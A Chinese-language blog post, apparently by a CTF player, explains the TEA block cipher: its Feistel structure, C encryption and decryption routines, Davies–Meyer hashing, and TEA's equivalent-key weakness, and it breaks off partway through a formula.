    <content type="html"><![CDATA[<p>作为一个老年CTF选手，真实见证了逆向出题的变化，从当年的字节异或已经变成了TEA这种高阶算法。。这里就来学习一下</p><blockquote><p>本文首发于安全客 <a href="https://www.anquanke.com/post/id/224198">https://www.anquanke.com/post/id/224198</a></p></blockquote><h2 id="more-tea系列算法学习"><span id="more"></span><br>TEA系列算法学习</h2><h2 id="算法介绍">算法介绍</h2><p>TEA（Tiny Encryption Algorithm）微型加密算法是一种易于描述的基于块的加密手法。通常来说，TEA加密算法会作用在两个32bit的无符号整数上，并且会使用一个128bit的数字作为密钥。其拥有一个叫做<a href="https://en.wikipedia.org/wiki/Feistel_cipher">Feistel 结构</a>的密码学结构。这种密码学结构通俗的来讲就是会将加密的plaintext分成L、R两部分，并且满足</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>L</mi><mrow><mi>i</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>=</mo><msub><mi>R</mi><mi>i</mi></msub><mo separator="true">,</mo><msub><mi>R</mi><mrow><mi>i</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>=</mo><mi>F</mi><mo stretchy="false">(</mo><msub><mi>K</mi><mi>i</mi></msub><mo separator="true">,</mo><msub><mi>R</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo>⊕</mo><msub><mi>L</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">L_{i+1} = R_i, R_{i+1} = F(K_i,R_i) \oplus L_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.00773em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.00773em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.00773em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>这种交换式的加密方式的一种结构。<br><img src="/2020/11/15/TEA-Family/File_Feistel_cipher_diagram_en.svg" alt="Feistel 结构"></p><p>TEA加密算法使用了64轮的加密算法结构，并且是成对的执行加密轮次。在加密周期中，每个密钥都是按照相同的轮次进行密钥的混合，从而完成加密。这个加密算法中为了防止基于轮询过程中的可能发生的攻击，使用了黄金分割律数字转换的一个数字 2654435769 （0x9E3779B9）作为魔数。</p><blockquote><p>值得注意的是，TEA算法中的密钥中存在缺陷。每一个key都等效于其他算法中的三个key，这意味着实际上key中只有126bit会生效。因此，TEA算法的散列性能不好。这个弱点甚至导致了Xbox被黑客攻击。并且TEA容易受到密钥相关攻击，这需要在相关密钥对下选择 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>23</mn></msup></mrow><annotation encoding="application/x-tex">2^{23}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span></span> 个明文，并且具有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>32</mn></msup></mrow><annotation encoding="application/x-tex">2^{32}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span> 的时间复杂度 ———— 摘自wiki，没太看懂</p></blockquote><h3 id="tea算法实现">TEA算法实现</h3><p>算法加密过程可以用一个图简单的说明:</p><p><img src="/2020/11/15/TEA-Family/TEA_InfoBox_Diagram.png" alt=""></p><p>输入一定要是一个64bit的数字，或者可以写作一个拥有两个元素的32bit的数组。，并且需要一个两倍长度的key（<code>int[4]</code>)。整个加密流程如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">encrypt</span> <span class="params">(<span class="type">uint32_t</span> v[<span class="number">2</span>], <span class="type">const</span> <span class="type">uint32_t</span> k[<span class="number">4</span>])</span> </span>&#123;</span><br><span class="line">    <span class="type">uint32_t</span> v0=v[<span class="number">0</span>], v1=v[<span class="number">1</span>], sum=<span class="number">0</span>, i;           <span class="comment">/* set up */</span></span><br><span class="line">    <span class="type">uint32_t</span> delta=<span class="number">0x9E3779B9</span>;                     <span class="comment">/* a key schedule constant */</span></span><br><span class="line">    <span class="type">uint32_t</span> k0=k[<span class="number">0</span>], k1=k[<span class="number">1</span>], k2=k[<span class="number">2</span>], k3=k[<span class="number">3</span>];   <span class="comment">/* cache key */</span></span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">0</span>; i&lt;<span class="number">32</span>; i++) &#123;                         <span class="comment">/* basic cycle start */</span></span><br><span class="line">        sum += delta;</span><br><span class="line">        v0 += ((v1&lt;&lt;<span class="number">4</span>) + k0) ^ (v1 + sum) ^ ((v1&gt;&gt;<span class="number">5</span>) + k1);</span><br><span class="line">        v1 += ((v0&lt;&lt;<span class="number">4</span>) + k2) ^ (v0 + sum) ^ ((v0&gt;&gt;<span class="number">5</span>) + k3);</span><br><span class="line">    &#125;                                              <span class="comment">/* end cycle */</span></span><br><span class="line">    v[<span class="number">0</span>]=v0; v[<span class="number">1</span>]=v1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>有几个重要的特征</p><ul><li>存在一个delta值，这个值会不停的增加到sum之中，形成一种循环的效果</li><li>传入的v0，v1会和传入的key0，key1运算。v1优先参与，并且会有一个<strong>位移-&gt;与密钥相加-&gt;异或</strong>的过程。</li><li>v0 = 原先的v1值套用公式，v1 = 变化后的v0 套用公式</li><li>之前用于计算delta的sum状态值也会参与</li></ul><p>由于是一个类似<strong>delta状态变化+异或加密</strong>的过程，所以整个流程反过来写即可得到解密</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">decrypt</span> <span class="params">(<span class="type">uint32_t</span> v[<span class="number">2</span>], <span class="type">const</span> <span class="type">uint32_t</span> k[<span class="number">4</span>])</span> </span>&#123;</span><br><span class="line">    <span class="type">uint32_t</span> v0=v[<span class="number">0</span>], v1=v[<span class="number">1</span>], sum=<span class="number">0xC6EF3720</span>, i;  <span class="comment">/* set up; sum is 32*delta */</span></span><br><span class="line">    <span class="type">uint32_t</span> delta=<span class="number">0x9E3779B9</span>;                     <span class="comment">/* a key schedule constant */</span></span><br><span class="line">    <span class="type">uint32_t</span> k0=k[<span class="number">0</span>], k1=k[<span class="number">1</span>], k2=k[<span class="number">2</span>], k3=k[<span class="number">3</span>];   <span class="comment">/* cache key */</span></span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">0</span>; i&lt;<span class="number">32</span>; i++) &#123;                         <span class="comment">/* basic cycle start */</span></span><br><span class="line">        v1 -= ((v0&lt;&lt;<span class="number">4</span>) + k2) ^ (v0 + sum) ^ ((v0&gt;&gt;<span class="number">5</span>) + k3);</span><br><span class="line">        v0 -= ((v1&lt;&lt;<span class="number">4</span>) + k0) ^ (v1 + sum) ^ ((v1&gt;&gt;<span class="number">5</span>) + k1);</span><br><span class="line">        sum -= delta;</span><br><span class="line">    &#125;                                              <span class="comment">/* end cycle */</span></span><br><span class="line">    v[<span class="number">0</span>]=v0; v[<span class="number">1</span>]=v1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>整个加密算法同样也适用于ECB,CBC等加密模式。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">The TEA Hash</span><br><span class="line">After reading Bruce Schneier&#x27;s book on crypto, we learned that TEA was a really bad choice as a hash. The book says that TEA must never be used as a hash, because it is insecure if used this way. If you flip both bit 16 and 31 of a 32 bit word, the hash will be the same. We could easily patch a jump in the second bootloader so that it would not be recognized. This modified jump lead us directly into flash memory.</span><br><span class="line"></span><br><span class="line">But why did they make this mistake? Obviously the designers knew nothing about crypto - again! - and just added code without understanding it and without even reading the most basic books on the topic. A possible explanation why they chose TEA would be that they might have searched the internet for a &quot;tiny&quot; encryption algorithm - and got TEA.</span><br></pre></td></tr></table></figure><h4 id="davies-meyer">Davies–Meyer</h4><p>在密码学中，单向压缩函数(one-way compression function)是将两个固定长度的输入转换为固定长度的输出的功能。该转换是“单向”的，这意味着在给定输出的情况下，很难反向计算压缩前的输入。单向压缩函数与普通的数据压缩算法无关，而可以将其准确地（无损压缩）或近似（有损压缩）转换为原始数据。<br>单向要锁函数通常是由<strong>块加密算法</strong>变形而来的，一种常见的就是<code>Davies–Meyer</code>算法。该算法将消息的每个块（mi）作为<strong>加密算法的密钥</strong>。 它将上一次加密生成的哈希值（Hi-1）作为<strong>要加密的明文</strong>输入。 之后，将输出密文与上一个哈希值（Hi-1）进行异或（⊕），以产生下一个哈希值（Hi）。 在第一轮中，如果没有以前的哈希值，它将使用一个恒定的预先指定的初始值（H0），算法可以写成</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>H</mi><mi>i</mi></msub><mo>=</mo><msub><mi>E</mi><msub><mi>m</mi><mi>i</mi></msub></msub><mo stretchy="false">(</mo><msub><mi>H</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="false">)</mo><mo>⊕</mo><msub><mi>H</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub></mrow><annotation encoding="application/x-tex">H_i = E_{m_i}(H_{i-1}) \oplus H_{i-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.08125em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.0001em;vertical-align:-0.2501em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139199999999997em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2501em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.08125em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.08125em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><img src="/2020/11/15/TEA-Family/230px-Davies-Meyer_hash.svg.png" alt=""><br>其中的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>E</mi><msub><mi>m</mi><mi>i</mi></msub></msub></mrow><annotation encoding="application/x-tex">E_{m_i}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.93343em;vertical-align:-0.2501em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139199999999997em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3280857142857143em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2501em;"><span></span></span></span></span></span></span></span></span></span>可以理解成使用<strong>mi块作为密钥的加密算法</strong></p><h4 id="tea算法的弱点">TEA算法的弱点</h4><p>TEA整个算法和密钥密切相关，这种算法我们称为<strong>密钥相关算法</strong>。这类算法如果密钥在加密过程中处理不当，很容易就会引发<strong>密钥相关攻击</strong>，感兴趣的<a href="http://derekwilliams.us/docs/CPSC-6128-TEA-Encryption.pdf">可以看这边</a>原理可以看<a href="https://www.tayloredge.com/reference/Mathematics/VRAndem.pdf">这边</a>，概括的说就是，TEA算法中的每一个密钥都会有其他三种相同的密钥。大致可用如下方式理解：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">v0 += ((v1&lt;&lt;<span class="number">4</span>) + k0) ^ (v1 + sum) ^ ((v1&gt;&gt;<span class="number">5</span>) + k1);</span><br></pre></td></tr></table></figure><p><em>v1那一段也同理。</em><br>上述的逻辑，我们可以简写成:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>V</mi><mn>0</mn></msub><mo>=</mo><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo>+</mo><msub><mi>k</mi><mn>0</mn></msub><mo stretchy="false">)</mo><mo>⊕</mo><msub><mi>C</mi><mn>2</mn></msub><mo>⊕</mo><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo>+</mo><msub><mi>k</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">V_0 = (C_1 + k_0)  \oplus C_2  \oplus (C_2 + k_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mo>∗</mo></msub></mrow><annotation encoding="application/x-tex">C_*</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.175696em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>为常量。设此时我们让k0和k1的变化为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Δ</mi><msub><mi>k</mi><mo>∗</mo></msub></mrow><annotation encoding="application/x-tex">\Delta k_*</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord">Δ</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.175696em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，变化后的我们写作<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>k</mi><mo>∗</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup></mrow><annotation encoding="application/x-tex">k&#x27;_*</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.998892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4530000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span>，此时有公式:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>V</mi><mn>0</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo>+</mo><msubsup><mi>k</mi><mn>0</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">)</mo><mo>⊕</mo><msub><mi>C</mi><mn>2</mn></msub><mo>⊕</mo><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo>+</mo><msubsup><mi>k</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">V&#x27;_0 = (C_1 + k&#x27;_0) \oplus C_2 \oplus (C_2 + k&#x27;_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.048892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span 